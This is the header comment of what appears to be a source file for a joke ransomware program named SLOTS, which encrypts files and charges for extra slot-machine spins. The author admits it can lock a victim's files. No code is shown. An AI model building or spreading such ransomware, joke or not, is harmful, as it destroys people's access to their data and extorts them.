/***
* SLOTS - Feelin' Lucky?
*
* SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
* This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
* also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
*
